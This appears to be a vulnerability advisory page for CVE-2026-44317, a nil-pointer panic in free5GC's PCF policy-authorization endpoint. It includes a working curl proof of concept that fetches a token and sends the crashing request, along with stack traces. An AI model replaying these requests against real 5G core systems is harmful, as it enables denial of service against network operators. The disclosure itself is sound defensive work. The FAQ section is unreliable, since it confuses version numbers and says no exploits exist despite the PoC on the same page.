CVE-2026-44317: free5GC: PCF npcf-policyauthorization POST /app-sessions panics on suppFeat=1 with missing AfRoutReq via nil pointer dereference

Published May 8, 2026
·
Updated

Summary free5GC's PCF POST /npcf-policyauthorization/v1/app-sessions handler panics on a single authenticated request whose ascReqData.suppFeat == "1" (enabling traffic-routing feature negotiation) and whose medComponents entries supply an afAppId but NO AfRoutReq. The create path then calls provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, ...) with routeReq == nil and dereferences routeReq.RouteToLocs (and other fields) without a nil check, causing runtime error: invalid memory address or nil pointer dereference. Gin recovery converts the panic into HTTP 500.

The trigger is a single valid authenticated request -- changing only suppFeat from "0" to "1" flips the same shape of POST from a normal 201 Created into a panic-driven 500.

This endpoint requires a valid npcf-policyauthorization OAuth2 access token (PR:L). The PCF process is not killed (Gin recovers); the realized impact is per-request panic-DoS on the app-session create path.

Details Validated against the PCF container in the official Docker compose lab. - Source repo tag: v4.2.1 - PCF endpoint: http://10.100.200.9:8000 - Validation date: 2026-03-12

Vulnerable handler path: postAppSessCtxProcedure -> medComponents loop -> appID := medComp.AfAppId routeReq := medComp.AfRoutReq // nil when AfRoutReq absent provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, medComp.FStatus)

In provisioningOfTrafficRoutingInfo, routeReq.RouteToLocs, routeReq.UpPathChgSub, and routeReq.AppReloc are dereferenced directly without a nil check. When suppFeat is "0" the traffic-routing branch is not entered and the same input shape returns 201 Created; when suppFeat is "1" the branch is entered and the nil-deref fires.

Code evidence (paths in free5gc/pcf): - Affected route + dispatch: NFs/pcf/internal/sbi/apipolicyauthorization.go - Create handler path: NFs/pcf/internal/sbi/processor/policyauthorization.go - Call site that passes nil routeReq into the traffic-routing helper: NFs/pcf/internal/sbi/processor/policyauthorization.go - Panic site (nil deref of routeReq. fields): NFs/pcf/internal/sbi/processor/policyauthorization.go:1740

PoC Reproduced end-to-end against the running PCF at http://10.100.200.9:8000.

1. Obtain a valid npcf-policyauthorization token from NRF: curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'granttype=clientcredentials&nfType=NEF&nfInstanceId=b84c4f0a-6010-4972-8480-e44e625b9ee4&targetNfType=PCF&scope=npcf-policyauthorization'

2. Trigger the panic with a single valid authenticated POST whose ascReqData.suppFeat == "1", medComponents supplies afAppId, and AfRoutReq is absent: curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <validnpcfpolicyauthorizationjwt>' \ --data '{"ascReqData":{"suppFeat":"1","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' HTTP/1.1 500 Internal Server Error

3. Control comparison -- same request shape but suppFeat="0" -> normal 201 Created: curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <validnpcfpolicyauthorizationjwt>' \ --data '{"ascReqData":{"suppFeat":"0","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' HTTP/1.1 201 Created

4. PCF container logs show the panic stack landing in provisioningOfTrafficRoutingInfo with routeReq = 0x0: [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/pcf/internal/sbi/processor.provisioningOfTrafficRoutingInfo(..., 0x0, ...) .../policyauthorization.go:1740 github.com/free5gc/pcf/internal/sbi/processor.(Processor).postAppSessCtxProcedure .../policyauthorization.go:288 github.com/free5gc/pcf/internal/sbi/processor.(Processor).HandlePostAppSessionsContext .../policyauthorization.go:139 github.com/free5gc/pcf/internal/sbi.(Server).HTTPPostAppSessions .../apipolicyauthorization.go:119 [INFO][PCF][GIN] | 500 | POST | /npcf-policyauthorization/v1/app-sessions |

Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the create path passes routeReq straight into provisioningOfTrafficRoutingInfo without a nil check, even though medComp.AfRoutReq is optional and is nil for the demonstrated valid input shape. The control experiment with suppFeat="0" proves the request shape itself is otherwise valid.

Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any authenticated POST against this endpoint with suppFeat="1" and medComponents..AfAppId set but AfRoutReq absent returns HTTP 500 with empty body and a stack trace in PCF logs.

Any party that holds (or can obtain) a valid npcf-policyauthorization token can repeatedly drive this code path to sustain a per-request panic-DoS on the app-session create endpoint, with each panic costing more CPU + log writes than the intended controlled response would have.

No Confidentiality impact (the response is 500 with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/879 Upstream fix: https://github.com/free5gc/pcf/pull/65

Other sources

free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's PCF POST /npcf-policyauthorization/v1/app-sessions handler panics on a single authenticated request whose ascReqData.suppFeat == "1" (enabling traffic-routing feature negotiation) and whose medComponents entries supply an afAppId but NO AfRoutReq. The create path then calls provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, ...) with routeReq == nil and dereferences routeReq.RouteToLocs (and other fields) without a nil check, causing runtime error: invalid memory address or nil pointer dereference. Gin recovery converts the panic into HTTP 500. This vulnerability is fixed in 4.2.2.

MITRE

Affected Software

2 affected componentsFixes available
go/github.com/free5gc/pcf<1.4.3
1.4.3
free5gc Free5gc<4.2.2

Event History

May 8, 2026
Advisory Published
via GitHub·10:40 PM
Data Sourced
via GitHub·10:40 PM
DescriptionSeverityWeaknessAffected Software
May 27, 2026
CVE Published
via MITRE·03:50 PM
Data Sourced
via MITRE·03:50 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:16 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-44317?

CVE-2026-44317 is classified with a severity that may lead to application crashes due to panic scenarios under specific conditions.

2

How do I fix CVE-2026-44317?

To mitigate CVE-2026-44317, upgrade to free5GC version 1.4.3 or later where this vulnerability has been resolved.

3

What software is affected by CVE-2026-44317?

CVE-2026-44317 affects the free5GC PCF component specifically in versions prior to 1.4.3.

4

What conditions trigger CVE-2026-44317?

CVE-2026-44317 is triggered when a specific request is made with ascReqData.suppFeat set to '1' while missing the necessary AfRoutReq.

5

Are there any known exploits for CVE-2026-44317?

As of now, there are no publicly disclosed exploits for CVE-2026-44317, but the vulnerability poses a risk of application instability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203